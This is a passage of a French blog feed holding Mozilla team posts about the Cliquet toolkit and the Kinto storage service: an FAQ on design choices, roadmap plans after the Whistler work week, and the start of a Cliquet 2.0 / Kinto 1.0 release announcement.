en production ! Cependant, nous avons très envie de faire de l&amp;#8217;async avec Python 3&amp;nbsp;!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Publication de versions&lt;/strong&gt; : le revers de la médaille de la factorisation. Il
arrive qu&amp;#8217;on préfère faire évoluer le toolkit (e.g. ajouter une option) pour
un point précis d&amp;#8217;un projet. En conséquence, on doit souvent releaser les
projets en&amp;nbsp;cascade.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="quelques-questions-courantes"&gt;
&lt;h3&gt;Quelques questions&amp;nbsp;courantes&lt;/h3&gt;
&lt;blockquote&gt;
Pourquoi Python ?&lt;/blockquote&gt;
&lt;p&gt;On prend beaucoup de plaisir à écrire du Python, et le calendrier annoncé
initialement était très serré: pas question de tituber avec une code
mal maitrisée&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Et puis, après avoir passé près d&amp;#8217;un an sur un projet Node.js, l&amp;#8217;équipe avait
bien envie de refaire du&amp;nbsp;Python.&lt;/p&gt;
&lt;blockquote&gt;
Pourquoi pas Django ?&lt;/blockquote&gt;
&lt;p&gt;On y a pensé, surtout parce qu&amp;#8217;il y a plusieurs fans de &lt;em&gt;Django &lt;span class="caps"&gt;REST&lt;/span&gt; Framework&lt;/em&gt;
dans&amp;nbsp;l&amp;#8217;équipe.&lt;/p&gt;
&lt;p&gt;On l&amp;#8217;a écarté principalement au profit de la légèreté et la modularité de
&lt;em&gt;Pyramid&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
Pourquoi pas avec un framework asynchrone en Python 3+ ?&lt;/blockquote&gt;
&lt;p&gt;Pour l&amp;#8217;instant nos administrateurs système nous imposent des déploiements en
Python 2.7, à notre grand désarroi&amp;nbsp;/o\&lt;/p&gt;
&lt;p&gt;Pour &lt;em&gt;Reading List&lt;/em&gt;, nous &lt;a class="reference external" href="https://github.com/mozilla-services/readinglist/blob/1.7.0/readinglist/__init__.py#L19-L26"&gt;avions activé&lt;/a&gt;
&lt;em&gt;gevent&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Puisque l&amp;#8217;approche consiste à implémenter un protocole bien déterminé, nous n&amp;#8217;excluons
pas un jour d&amp;#8217;écrire un &lt;em&gt;Cliquet&lt;/em&gt; en &lt;em&gt;aiohttp&lt;/em&gt; ou &lt;em&gt;Go&lt;/em&gt; si cela s&amp;#8217;avèrerait&amp;nbsp;pertinent.&lt;/p&gt;
&lt;blockquote&gt;
Pourquoi pas &lt;span class="caps"&gt;JSON&lt;/span&gt;-&lt;span class="caps"&gt;API&lt;/span&gt; ?&lt;/blockquote&gt;
&lt;p&gt;Comme nous l&amp;#8217;expliquions au retour des APIdays,
&lt;span class="caps"&gt;JSON&lt;/span&gt;-&lt;span class="caps"&gt;API&lt;/span&gt; est une spécification qui rejoint plusieurs de nos&amp;nbsp;intentions.&lt;/p&gt;
&lt;p&gt;Quand nous avons commencé le protocole, nous ne connaissions pas &lt;span class="caps"&gt;JSON&lt;/span&gt;-&lt;span class="caps"&gt;API&lt;/span&gt;.
Pour l&amp;#8217;instant, comme notre proposition est beaucoup plus minimaliste, le
rapprochement n&amp;#8217;a &lt;a class="reference external" href="https://github.com/mozilla-services/cliquet/issues/254"&gt;pas dépassé le stade de la discussion&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
Est-ce que Cliquet est un framework &lt;span class="caps"&gt;REST&lt;/span&gt; pour Pyramid ?&lt;/blockquote&gt;
&lt;p&gt;Non.&lt;/p&gt;
&lt;p&gt;Au delà des classes de resources &lt;span class="caps"&gt;CRUD&lt;/span&gt; de Cliquet, qui implémentent un
protocole bien précis, il faut utiliser Cornice ou Pyramid&amp;nbsp;directement.&lt;/p&gt;
&lt;blockquote&gt;
Est-ce que Cliquet est suffisamment générique pour des projets hors Mozilla ?&lt;/blockquote&gt;
&lt;p&gt;Premièrement, nous faisons en sorte que tout soit contrôlable depuis la
configuration &lt;tt class="docutils literal"&gt;.ini&lt;/tt&gt; pour permettre la dés/activation ou substitution des&amp;nbsp;composants.&lt;/p&gt;
&lt;p&gt;Si le protocole &lt;span class="caps"&gt;HTTP&lt;/span&gt;/&lt;span class="caps"&gt;JSON&lt;/span&gt; des resources &lt;span class="caps"&gt;CRUD&lt;/span&gt; vous satisfait,
alors Cliquet est probablement le plus court chemin pour construire une
application qui tient la&amp;nbsp;route.&lt;/p&gt;
&lt;p&gt;Mais l&amp;#8217;utilisation des resources &lt;span class="caps"&gt;CRUD&lt;/span&gt; est facultative, donc Cliquet reste pertinent
si les bonnes pratiques en terme de mise en production ou les abstractions fournies
vous paraissent valables&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Cliquet reste un moyen simple d&amp;#8217;aller très vite pour mettre sur pied
une application&amp;nbsp;Pyramid/Cornice.&lt;/p&gt;
&lt;blockquote&gt;
Est-ce que les resources &lt;span class="caps"&gt;JSON&lt;/span&gt; supporte les modèles relationnels complexes ?&lt;/blockquote&gt;
&lt;p&gt;La couche de persistence fournie est très simple, et devrait
répondre à la majorité des cas d&amp;#8217;utilisation où les données n&amp;#8217;ont pas de&amp;nbsp;relations.&lt;/p&gt;
&lt;p&gt;En revanche, il est tout à fait possible de bénéficier de tous les aspects
du protocole en utilisant une classe &lt;tt class="docutils literal"&gt;Collection&lt;/tt&gt; maison, qui se chargerait
elle de manipuler les&amp;nbsp;relations.&lt;/p&gt;
&lt;p&gt;Le besoin de relations pourrait être un bon prétexte pour implémenter le
protocole avec Django &lt;span class="caps"&gt;REST&lt;/span&gt; Framework&amp;nbsp;:)&lt;/p&gt;
&lt;blockquote&gt;
Est-il possible de faire ci ou ça avec Cliquet ?&lt;/blockquote&gt;
&lt;p&gt;Nous aimerions collecter des besoins pour écrire un ensemble de «recettes/tutoriels». Mais
pour ne pas travailler dans le vide, nous aimerions &lt;a class="reference external" href="https://github.com/mozilla-services/cliquet/issues"&gt;connaitre vos idées&lt;/a&gt; !
(&lt;em&gt;ex. brancher l&amp;#8217;authentification Github, changer le format du logging &lt;span class="caps"&gt;JSON&lt;/span&gt;, stocker des
données cartographiques, &amp;#8230;&lt;/em&gt;)&lt;/p&gt;
&lt;blockquote&gt;
Est-ce que Cliquet peut manipuler des fichiers ?&lt;/blockquote&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/mozilla-services/cliquet/issues/236"&gt;Nous l&amp;#8217;envisageons&lt;/a&gt;,
mais pour l&amp;#8217;instant nous attendons que le besoin survienne en interne pour se&amp;nbsp;lancer.&lt;/p&gt;
&lt;p&gt;Si c&amp;#8217;est le cas, le protocole utilisé sera &lt;a class="reference external" href="http://remotestorage.io/"&gt;Remote Storage&lt;/a&gt;,
afin notamment de s&amp;#8217;intégrer dans l&amp;#8217;éco-système&amp;nbsp;grandissant.&lt;/p&gt;
&lt;blockquote&gt;
Est-ce que la fonctionnalité X va être implémentée ?&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Cliquet&lt;/em&gt; est déjà bien garni. Plutôt qu&amp;#8217;implémenter la fonctionnalité X,
il y a de grandes chances que nous agissions pour s&amp;#8217;assurer que les abstractions
et les mécanismes d&amp;#8217;extension fournis permettent de l&amp;#8217;implémenter sous forme&amp;nbsp;d&amp;#8217;extension.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="code"></category></entry><entry><title>Service de nuages : Perspectives pour l’été</title><link href="https://blog.notmyidea.org/service-de-nuages-perspectives-pour-lete-fr.html" rel="alternate"></link><published>2015-07-07T00:00:00+02:00</published><updated>2015-07-07T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-07-07:/service-de-nuages-perspectives-pour-lete-fr.html</id><summary type="html">&lt;p class="first last"&gt;Le travail en cours et les fonctionnalités à venir pour les prochains&amp;nbsp;mois.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;&lt;em&gt;Cet article est repris depuis le blog « Service de Nuages » de mon équipe à&amp;nbsp;Mozilla&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Mozilla a pour coutume d&amp;#8217;organiser régulièrement des semaines de travail où tous les employés
sont réunis physiquement. Pour cette dernière édition, nous avons pu retrouver
nos collègues du monde entier à &lt;a class="reference external" href="http://www.openstreetmap.org/node/268148288#map=4/50.12/-122.95"&gt;Whistler, en Colombie Britannique au Canada&lt;/a&gt;&amp;nbsp;!&lt;/p&gt;
&lt;img alt="«All Hands» talk about Lego, by &amp;#64;davidcrob - CC0" class="align-center" src="https://blog.notmyidea.org/images/whistler/whistler-talks.jpg" /&gt;
&lt;p&gt;Ce fût l&amp;#8217;occasion pour notre équipe de se retrouver, et surtout de partager notre
vision et nos idées dans le domaine du stockage, afin de collecter des cas d&amp;#8217;utilisation pour
notre solution &lt;a class="reference external" href="https://kinto.readthedocs.org"&gt;Kinto&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dans cet article, nous passons en revue les pistes que nous avons pour
les prochains&amp;nbsp;mois.&lt;/p&gt;
&lt;div class="section" id="ateliers-et-promotion"&gt;
&lt;h2&gt;Ateliers et&amp;nbsp;promotion&lt;/h2&gt;
&lt;p&gt;Nicolas a présenté &lt;a class="reference external" href="https://github.com/mozilla-services/kinto.js"&gt;Kinto.js&lt;/a&gt; dans un atelier dédié, avec comme support de
présentation le &lt;a class="reference external" href="http://kintojs.readthedocs.org/en/latest/tutorial/"&gt;tutorial d&amp;#8217;introduction&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;application résultante, pourtant toute simple, permet d&amp;#8217;appréhender les
concepts de synchronisation de Kinto. Le tout sans installation prélable,
puisque Rémy a mis en place un &lt;a class="reference external" href="https://kinto.dev.mozaws.net/v1/"&gt;serveur de dev effacé tous les jours&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nous avions mis un point d&amp;#8217;honneur à faire du Vanilla.&lt;span class="caps"&gt;JS&lt;/span&gt;, déjà pour éviter les
combats de clochers autour des frameworks, mais aussi pour mettre en évidence qu&amp;#8217;avec
&lt;span class="caps"&gt;HTML5&lt;/span&gt; et &lt;span class="caps"&gt;ES6&lt;/span&gt;, on n&amp;#8217;était plus aussi démunis qu&amp;#8217;il y a quelques&amp;nbsp;années.&lt;/p&gt;
&lt;p&gt;Ce petit atelier nous a permis de nous rendre compte qu&amp;#8217;on avait encore de
grosses lacunes en terme de documentation, surtout en ce qui concerne
l&amp;#8217;éco-système et la vision globale des projets (Kinto, Kinto.js, Cliquet, &amp;#8230;).
Nous allons donc faire de notre mieux pour combler ce&amp;nbsp;manque.&lt;/p&gt;
&lt;img alt="Kinto.js workshop - CC0" class="align-center" src="https://blog.notmyidea.org/images/whistler/whistler-workshop.jpg" /&gt;
&lt;/div&gt;
&lt;div class="section" id="mozilla-payments"&gt;
&lt;h2&gt;Mozilla&amp;nbsp;Payments&lt;/h2&gt;
&lt;p&gt;Comme &lt;a class="reference external" href="http://www.servicedenuages.fr/la-gestion-des-permissions"&gt;décrit précédemment&lt;/a&gt;, nous avons mis en place un système de permissions pour répondre aux besoins de suivi des paiements et&amp;nbsp;abonnements.&lt;/p&gt;
&lt;p&gt;Pour ce projet, Kinto sera utilisé depuis une application Django, via un client&amp;nbsp;Python.&lt;/p&gt;
&lt;p&gt;Maintenant que les développements ont été livrés, il faut transformer l&amp;#8217;essai, réussir l&amp;#8217;intégration, l&amp;#8217;hébergement et la montée en puissance. La solution doit être livrée à la fin de&amp;nbsp;l&amp;#8217;année.&lt;/p&gt;
&lt;div class="section" id="a-venir"&gt;
&lt;h3&gt;À&amp;nbsp;venir&lt;/h3&gt;
&lt;p&gt;Nous aimerions en profiter pour implémenter une fonctionnalité qui nous tient à coeur : la construction de la liste des enregistrements accessibles en lecture sur une collection&amp;nbsp;partagée.&lt;/p&gt;
&lt;img alt="Whistler Alta Lake - CC0" class="align-center" src="https://blog.notmyidea.org/images/whistler/whistler-lake.jpg" /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="firefox-os-et-stockage"&gt;
&lt;h2&gt;Firefox &lt;span class="caps"&gt;OS&lt;/span&gt; et&amp;nbsp;stockage&lt;/h2&gt;
&lt;p&gt;Nous avons eu beaucoup d&amp;#8217;échanges avec l&amp;#8217;équipe de Firefox &lt;span class="caps"&gt;OS&lt;/span&gt;, avec qui nous avions
déjà eu l&amp;#8217;occasion de collaborer, pour le &lt;a class="reference external" href="https://github.com/mozilla-services/msisdn-gateway"&gt;serveur d&amp;#8217;identification BrowserID par &lt;span class="caps"&gt;SMS&lt;/span&gt;&lt;/a&gt; et pour &lt;a class="reference external" href="https://github.com/mozilla-services/loop-server"&gt;Firefox Hello&lt;/a&gt;.&lt;/p&gt;
&lt;div class="section" id="in-app-sync"&gt;
&lt;h3&gt;In-App&amp;nbsp;sync&lt;/h3&gt;
&lt;p&gt;Kinto, la solution simple promue pour la synchronisation de données dans les applications
Firefox &lt;span class="caps"&gt;OS&lt;/span&gt; ? La classe ! C&amp;#8217;est ce qu&amp;#8217;on avait en tête depuis longtemps, déjà à
l&amp;#8217;époque avec &lt;a class="reference external" href="http://daybed.readthedocs.org/"&gt;Daybed&lt;/a&gt;. Voici donc une belle opportunité à saisir&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Il va falloir expliciter les limitations et hypothèses simplificatrices de notre
solution, surtout en termes de gestion de la concurrence. Nous sommes persuadés
que ça colle avec la plupart des besoins, mais il ne faudrait pas décevoir&amp;nbsp;:)&lt;/p&gt;
&lt;p&gt;Le fait que &lt;a class="reference external" href="https://github.com/daleharvey"&gt;Dale&lt;/a&gt;, un des auteurs de &lt;a class="reference external" href="http://pouchdb.com/"&gt;PouchDB&lt;/a&gt; et &lt;a class="reference external" href="https://github.com/michielbdejong"&gt;Michiel de Jong&lt;/a&gt;, un des auteurs de &lt;a class="reference external" href="http://remotestorage.io/"&gt;Remote Storage&lt;/a&gt;, nous aient encouragés sur nos premiers pas nous a bien motivé&amp;nbsp;!&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="cut-the-rope"&gt;
&lt;h3&gt;Cut the&amp;nbsp;Rope&lt;/h3&gt;
&lt;p&gt;Kinto devrait être mis à profit pour synchroniser les paramètres et les scores
du &lt;a class="reference external" href="http://mozilla.cuttherope.net/"&gt;jeu&lt;/a&gt;. Un premier exercice et une première vitrine sympas&amp;nbsp;!&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="syncto"&gt;
&lt;h3&gt;« SyncTo&amp;nbsp;»&lt;/h3&gt;
&lt;p&gt;&lt;a class="reference external" href="https://docs.services.mozilla.com/storage/apis-1.5.html"&gt;Firefox Sync&lt;/a&gt; est la solution qui permet de synchroniser les données de Firefox (favoris, extensions, historique, complétion des formulaires, mots de passe, &amp;#8230;) entre plusieurs périphériques, de manière&amp;nbsp;chiffrée.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;implémentation du client en JavaScript est relativement complexe et date un peu maintenant.
Le code existant n&amp;#8217;est pas vraiment portable dans &lt;em&gt;Firefox &lt;span class="caps"&gt;OS&lt;/span&gt;&lt;/em&gt; et les tentatives de réécriture
n&amp;#8217;ont pas&amp;nbsp;abouti.&lt;/p&gt;
&lt;p&gt;Nous souhaitons implémenter un pont entre &lt;em&gt;Kinto&lt;/em&gt; et &lt;em&gt;Firefox Sync&lt;/em&gt;, de manière
à pouvoir utiliser le client &lt;em&gt;Kinto.js&lt;/em&gt;, plus simple et plus moderne, pour récupérer
les contenus et les stocker dans IndexedDB. Le delta à implémenter côté serveur est faible car nous nous étions
inspirés du protocole déjà éprouvé de Sync. Côté client, il s&amp;#8217;agira surtout de
câbler l&amp;#8217;authentification BrowserId et la&amp;nbsp;Crypto.&lt;/p&gt;
&lt;p&gt;Alexis a sauté sur l&amp;#8217;occasion pour commencer l&amp;#8217;écriture d&amp;#8217;&lt;a class="reference external" href="https://github.com/mozilla-services/syncclient"&gt;un client python pour Firefox Sync&lt;/a&gt;, qui servira de brique de base pour l&amp;#8217;écriture du&amp;nbsp;service.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="cloud-storage"&gt;
&lt;h3&gt;Cloud&amp;nbsp;Storage&lt;/h3&gt;
&lt;p&gt;Eden Chuang et Sean Lee ont présenté les avancées sur l&amp;#8217;intégration de services de stockages
distants (&lt;em&gt;DropBox, Baidu Yun&lt;/em&gt;) dans &lt;em&gt;Firefox &lt;span class="caps"&gt;OS&lt;/span&gt;&lt;/em&gt;. Actuellement, leur preuve de
concept repose sur &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/Filesystem_in_Userspace"&gt;&lt;span class="caps"&gt;FUSE&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nous avons évidemment en tête d&amp;#8217;introduire la notion de fichiers attachés dans
&lt;em&gt;Kinto&lt;/em&gt;, en implémentant la specification
&lt;a class="reference external" href="https://tools.ietf.org/html/draft-dejong-remotestorage-05"&gt;*Remote Storage*&lt;/a&gt;,
mais pour l&amp;#8217;instant les cas d&amp;#8217;utilisations ne se sont pas encore présentés&amp;nbsp;officiellement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="a-venir-1"&gt;
&lt;h3&gt;À&amp;nbsp;venir&lt;/h3&gt;
&lt;p&gt;Nous serons probablement amenés à introduire la gestion de la concurrence dans
le client &lt;span class="caps"&gt;JS&lt;/span&gt;, en complément de ce qui a été fait sur le serveur, pour permettre
les écritures simultanées et synchronisation en tâche de&amp;nbsp;fond.&lt;/p&gt;
&lt;p&gt;Nous sommes par ailleurs perpétuellement preneurs de vos retours — et bien
entendu de vos contributions — tant sur le code &lt;a class="reference external" href="https://github.com/mozilla-services/kinto/"&gt;serveur&lt;/a&gt;
que &lt;a class="reference external" href="https://github.com/mozilla-services/kinto.js/"&gt;client&lt;/a&gt;&amp;nbsp;!&lt;/p&gt;
&lt;img alt="Firefox OS Cloud Storage Presentation - CC0" class="align-center" src="https://blog.notmyidea.org/images/whistler/whistler-cloud-storage.jpg" /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="contenus-applicatifs-de-firefox"&gt;
&lt;h2&gt;Contenus applicatifs de&amp;nbsp;Firefox&lt;/h2&gt;
&lt;p&gt;Aujourd&amp;#8217;hui Firefox a un cycle de release de six semaines. Un des objectifs
consiste à désolidariser certains contenus applicatifs de ces cycles
relativement longs (ex. &lt;em&gt;règles de securité, dictionnaires, traductions, &amp;#8230;&lt;/em&gt;) &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Il s&amp;#8217;agit de données &lt;span class="caps"&gt;JSON&lt;/span&gt; et binaire qui doivent être versionnées et synchronisées par
les navigateurs (&lt;em&gt;lecture seule&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Il y a plusieurs outils officiels qui existent pour gérer ça (&lt;em&gt;Balrog&lt;/em&gt;, &lt;em&gt;Shavar&lt;/em&gt;, &amp;#8230;),
et pour l&amp;#8217;instant, aucun choix n&amp;#8217;a été fait. Mais lors des conversations avec
l&amp;#8217;équipe en charge du projet, ce fût vraiment motivant de voir que même pour
ce genre de besoins internes, &lt;em&gt;Kinto&lt;/em&gt; est tout aussi pertinent&amp;nbsp;!&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-1"&gt;[1]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;La bonne nouvelle c&amp;#8217;est que toutes les fonctionnalités &lt;em&gt;third-party&lt;/em&gt; qui ont
été intégrées récemment vont redevenir des &lt;em&gt;add-ons&lt;/em&gt; \o/.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;img alt="Landscape - CC0" class="align-center" src="https://blog.notmyidea.org/images/whistler/whistler-landscape.jpg" /&gt;
&lt;/div&gt;
&lt;div class="section" id="awesome-bar"&gt;
&lt;h2&gt;Awesome&amp;nbsp;bar&lt;/h2&gt;
&lt;p&gt;L&amp;#8217;équipe &lt;em&gt;Firefox Labs&lt;/em&gt;, le laboratoire qui élève des pandas roux en éprouvette,
serait vraiment intéressé par notre solution, notamment pour abreuver en données
un prototype pour améliorer &lt;em&gt;Awesome bar&lt;/em&gt;, qui fusionnerait &lt;span class="caps"&gt;URL&lt;/span&gt;, historique et&amp;nbsp;recherche.&lt;/p&gt;
&lt;p&gt;Nous ne pouvons pas en dire beaucoup plus pour l&amp;#8217;instant, mais les fonctionnalités
de collections d&amp;#8217;enregistrements partagées entre utilisateurs de &lt;em&gt;Kinto&lt;/em&gt;
correspondent parfaitement à ce qui est envisagé pour le futur du navigateur&amp;nbsp;:)&lt;/p&gt;
&lt;div class="section" id="a-venir-2"&gt;
&lt;h3&gt;À&amp;nbsp;venir&lt;/h3&gt;
&lt;p&gt;Nous serons donc probablement amenés, avant de la fin de l&amp;#8217;année, à introduire des
fonctionnalités d&amp;#8217;indexation et de recherche &lt;em&gt;full-text&lt;/em&gt; (comprendre &lt;em&gt;ElasticSearch&lt;/em&gt;).
Cela rejoint nos plans précédents, puisque c&amp;#8217;est quelque chose que nous avions dans
&lt;em&gt;Daybed&lt;/em&gt;, et qui figurait sur notre feuille de route&amp;nbsp;!&lt;/p&gt;
&lt;img alt="Firefox Labs Meeting - CC0" class="align-center" src="https://blog.notmyidea.org/images/whistler/whistler-labs.jpg" /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="browser-html"&gt;
&lt;h2&gt;Browser.html&lt;/h2&gt;
&lt;p&gt;L&amp;#8217;équipe &lt;em&gt;Recherche&lt;/em&gt; explore les notions de plateforme, et travaille notamment
sur l&amp;#8217;implémentation d&amp;#8217;un navigateur en &lt;span class="caps"&gt;JS&lt;/span&gt;/&lt;span class="caps"&gt;HTML&lt;/span&gt; avec &lt;em&gt;React&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/mozilla/browser.html"&gt;browser.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Kinto&lt;/em&gt; correspond parfaitement aux attentes
de l&amp;#8217;équipe pour synchroniser les données associées à un&amp;nbsp;utilisateur.&lt;/p&gt;
&lt;p&gt;Il pourrait s&amp;#8217;agir de données de navigation (comme Sync), mais aussi de collections
d&amp;#8217;enregistrements diverses, comme par exemple les préférences du navigateur
ou un équivalent à &lt;em&gt;Alexa.com Top 500&lt;/em&gt; pour fournir la complétion d&amp;#8217;&lt;span class="caps"&gt;URL&lt;/span&gt; sans
interroger le moteur de&amp;nbsp;recherche.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;exercice pourrait être poussé jusqu&amp;#8217;à la synchronisation d&amp;#8217;états &lt;em&gt;React&lt;/em&gt;
entre périphériques (par exemple pour les&amp;nbsp;onglets).&lt;/p&gt;
&lt;div class="section" id="a-venir-3"&gt;
&lt;h3&gt;À&amp;nbsp;venir&lt;/h3&gt;
&lt;p&gt;Si &lt;em&gt;browser.html&lt;/em&gt; doit stocker des données de navigation, il faudra ajouter
des fonctionnalités de chiffrement sur le client &lt;span class="caps"&gt;JS&lt;/span&gt;. Ça tombe bien, c&amp;#8217;est un
sujet passionant, et &lt;a class="reference external" href="http://www.w3.org/TR/WebCryptoAPI/"&gt;il y a plusieurs standards&lt;/a&gt;&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Pour éviter d&amp;#8217;interroger le serveur à intervalle régulier afin de synchroniser les
changements, l&amp;#8217;introduction des &lt;a class="reference external" href="https://w3c.github.io/push-api/"&gt;*push notifications*&lt;/a&gt; semble assez naturelle.
Il s&amp;#8217;agirait alors de la dernière pierre qui manque à l&amp;#8217;édifice pour obtenir
un «&lt;em&gt;Mobile/Web backend as a service&lt;/em&gt;»&amp;nbsp;complet.&lt;/p&gt;
&lt;img alt="Roadmap - CC0" class="align-center" src="https://blog.notmyidea.org/images/whistler/whistler-roadmap.jpg" /&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Nous sommes dans une situation idéale, puisque ce que nous avions imaginé
sur &lt;a class="reference external" href="https://github.com/mozilla-services/kinto/wiki/Roadmap"&gt;notre feuille de route&lt;/a&gt; correspond à ce qui nous est demandé par les
différentes&amp;nbsp;équipes.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;enjeu consiste maintenant à se coordonner avec tout le monde, ne pas décevoir,
tenir la charge, continuer à améliorer et à faire la promotion du produit, se concentrer
sur les prochaines étapes et embarquer quelques contributeurs à nos cotés pour
construire une solution libre, générique, simple et auto-hébergeable pour le stockage
de données sur le Web&amp;nbsp;:)&lt;/p&gt;
&lt;img alt="Friday Night Party - CC0" class="align-center" src="https://blog.notmyidea.org/images/whistler/whistler-top-roof.jpg" /&gt;
&lt;/div&gt;
</content><category term="code"></category></entry><entry><title>Service de nuages : Achievement unlocked</title><link href="https://blog.notmyidea.org/service-de-nuages-achievement-unlocked-fr.html" rel="alternate"></link><published>2015-06-01T00:00:00+02:00</published><updated>2015-06-01T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-06-01:/service-de-nuages-achievement-unlocked-fr.html</id><summary type="html">&lt;p class="first last"&gt;Après près de 3 mois intensifs, nous venons de &lt;em&gt;tagguer&lt;/em&gt; Cliquet 2.0
et Kinto 1.0&amp;nbsp;!&lt;/p&gt;
</summary><content type="html">&lt;p&gt;&lt;em&gt;Cet article est repris depuis le blog « Service de Nuages » de mon équipe à&amp;nbsp;Mozilla&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Aujourd&amp;#8217;hui, c&amp;#8217;est jour de fête : nous venons de publier Cliquet &lt;strong&gt;2.0&lt;/strong&gt;
&lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt; et Kinto &lt;strong&gt;1.0&lt;/strong&gt; &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;L&amp;#8217;aboutissement de 3 années de R&amp;amp;D&amp;nbsp;!&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;Rémy&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a class="reference external" href="https://kinto.readthedocs.org/en/latest/"&gt;Kinto&lt;/a&gt; est un service pour
stocker, synchroniser et partager des données arbitraires, attachées à un
compte Firefox (mais le système d&amp;#8217;authentification est &lt;em&gt;pluggable&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://cliquet.readthedocs.org/en/latest/"&gt;Cliquet&lt;/a&gt; est une boite à outils pour faciliter l&amp;#8217;implémentation de
micro-services &lt;span class="caps"&gt;HTTP&lt;/span&gt; tels que les APIs &lt;em&gt;&lt;span class="caps"&gt;REST&lt;/span&gt;&lt;/em&gt; ayant des besoins de&amp;nbsp;synchronisation.&lt;/p&gt;
&lt;p&gt;Vous pouvez lire plus à propos des raisons qui nous ont poussé à proposer cette nouvelle solution
et de notre ambition sur &lt;a class="reference external" href="http://www.servicedenuages.fr/eco-systeme-et-stockage-generique.html"&gt;http://www.servicedenuages.fr/eco-systeme-et-stockage-generique.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Nous sommes fiers du travail que nous avons pu réaliser durant ces derniers
mois sur ces deux projets. Bien que la plupart du travail que nous ayons
réalisé pour le serveur de liste de lecture (Reading List) ait pu être utilisé,
beaucoup de parties ont été repensées et nous avons introduit des
fonctionnalités que l&amp;#8217;on attendait depuis longtemps, comme la gestion des&amp;nbsp;permissions.&lt;/p&gt;
&lt;p&gt;Bien sur, exactement comme après un ré-aménagement de salon, on ne peut
s&amp;#8217;empêcher de voir toutes les choses qui doivent toujours être améliorées,
notamment sur la documentation et les&amp;nbsp;performances.&lt;/p&gt;
&lt;p&gt;On peut déjà entrevoir à quoi l&amp;#8217;écosystème va ressembler, et c&amp;#8217;est prometteur.
Il y a déjà un client JavaScript &lt;a class="footnote-reference" href="#footnote-3" id="footnote-reference-3"&gt;[3]&lt;/a&gt; dont l&amp;#8217;objectif est de synchroniser les
données locales du navigateur avec une instance de&amp;nbsp;Kinto.&lt;/p&gt;
&lt;p&gt;N&amp;#8217;hésitez vraiment pas à nous solliciter pour discuter avec vous si vous avez
des problématiques proches : nous accueillons avec plaisir toutes sortes de
retours, que ce soit à propos du code, de la documentation, de la sécurité de
la solution ou de la manière de communiquer avec le monde extérieur. Si vous
souhaitez nous contacter, vous pouvez laisser un commentaire ici ou nous
contacter sur le canal &lt;a class="reference external" href="irc://irc.mozilla.org/#storage"&gt;#storage&lt;/a&gt; sur le réseau &lt;span class="caps"&gt;IRC&lt;/span&gt; de&amp;nbsp;Mozilla.&lt;/p&gt;
&lt;p&gt;Et ce n&amp;#8217;est que le début ! Le futur se dessine dans notre feuille de route
&lt;a class="footnote-reference" href="#footnote-4" id="footnote-reference-4"&gt;[4]&lt;/a&gt;.&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
